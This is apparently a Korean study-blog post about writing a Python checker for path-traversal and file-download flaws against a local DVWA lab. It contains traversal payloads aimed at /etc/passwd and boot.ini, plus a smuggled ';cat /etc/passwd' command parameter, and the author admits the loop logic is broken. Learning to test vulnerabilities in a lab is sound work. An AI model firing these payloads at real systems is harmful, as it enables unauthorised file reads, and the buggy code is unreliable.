23. 파일다운로드
- 멘토가 소개해준 샘플코드와 유사함(공격구문과 판별방법 유사)
- 입력 : URL과 파라미터
파라미터 입력받기 추가해야함 아직 안짰음
25. 경로추적
- 파일다운로드와 유사하며 차이점은 URL만 입력받아서 그 뒤에 공격 구문을 바로 붙이면 됨(나머지는 유사)
이건 그냥 바로 공격구문 url뒤에 더하기만 하면됨
#개행별로 def이용해서 짜보기
import requests
# 1. main함수
def main():
path = input("경로를 입력하세요")
pattern_load(path)
#2. 경로 입력받는 함수(함수로 안했음 전역변수가 편할듯)
#3. 헤더세팅함수(필요없을것같아서 뺌)
#4. 공격패턴 로드함수: 공격 패턴을 txt에서 로드하여 pattern별로 request를 요청하고 판단
def pattern_load(path):
f = open("pattern.txt", 'r')
pattern_n=1
pattern=f.readline()
list_file = []
final=0
while pattern :
print('%s' %(pattern))
list_file.append(pattern)
pattern=f.readline()
pattern_n += 1
f.close()
for i in range(len(list_file)):
url = path+ list_file[i]
print(url)
while pattern:
res, params=check_request(url)
print(res)
final = check_result(res, params, url, final)
#print('%s' %(line))
f.close()
print(final)
if final == 1:
print("점검URL:",path,"\n == 최종결과 취약점이 발견되었습니다.\n\n\n")
else:
print("점검URL:",path,"\n == 최종결과 취약점이 발견되지 않았습니다.\n\n\n")
return 0
#4.1 개행삭제 함수 : url = path + pattern 로드하면 개행 지우고 추가해야함
#def delete_newline()
#5. 점검요청함수: 점검URL과 공격패턴을 포함한 requset를 요청하여 응답값을 받아 저장
def check_request(url):
params={'ip':';cat /etc/passwd','Submit':'Submit'}
header = {'Cookie' : 'security=low; PHPSESSID=kqnaupcb8fmq5752ic4orvv5on'}
response = requests.get(url=url, headers=header, params=params)
#4. 출력을 무엇을 해줄지 (예를 들어 취약한 경우에 공격 url과 결과 이미지 등등 또는 양호할 경우는)
status = response.status_code
res = response.text
return res, params
#6. 점검결과함수
def check_result(res, params, url, final):
detect=res.find('root:')
#판단 근거 = root: 문자열을 찾아서 -1이면 문자열이 없고 다른 수이면 그 위치에 문자열이 있다
#print(detect)
#6.1 취약양호판단(다운로드 되었는지 여부확인)
if detect==-1:
print("양호")
else:
print("취약")
final=1
print("URL:", url)
print("DATA:", params)
print("\n")
return final
if __name__ == "__main__":
main()
결과>
경로를 입력하세요http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php ../../../../../../../../../../../../etc/passwd ../../../../../../../../../../../../winnt/win.ini ../../../../../../../../../../../../boot.ini http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php../../../../../../../../../../../../etc/passwd http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php../../../../../../../../../../../../winnt/win.ini http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php../../../../../../../../../../../../boot.ini 0 점검URL: http://127.0.0.1:8001/dvwa/vulnerabilities/fi/?page=include.php == 최종결과 취약점이 발견되지 않았습니다.
근데 발견되어야 하는데 오류임
뭐가 문제지?
찾아보기
'✍2021,2022 > web보안' 카테고리의 다른 글
약한문자열강도 중간점검 (0) | 2021.08.04 |
---|---|
python 새롭게 알게된것(1) (0) | 2021.08.04 |
중간 점검 (0) | 2021.07.22 |
약한문자열, 정보누출 (0) | 2021.07.07 |
XSS (0) | 2021.07.07 |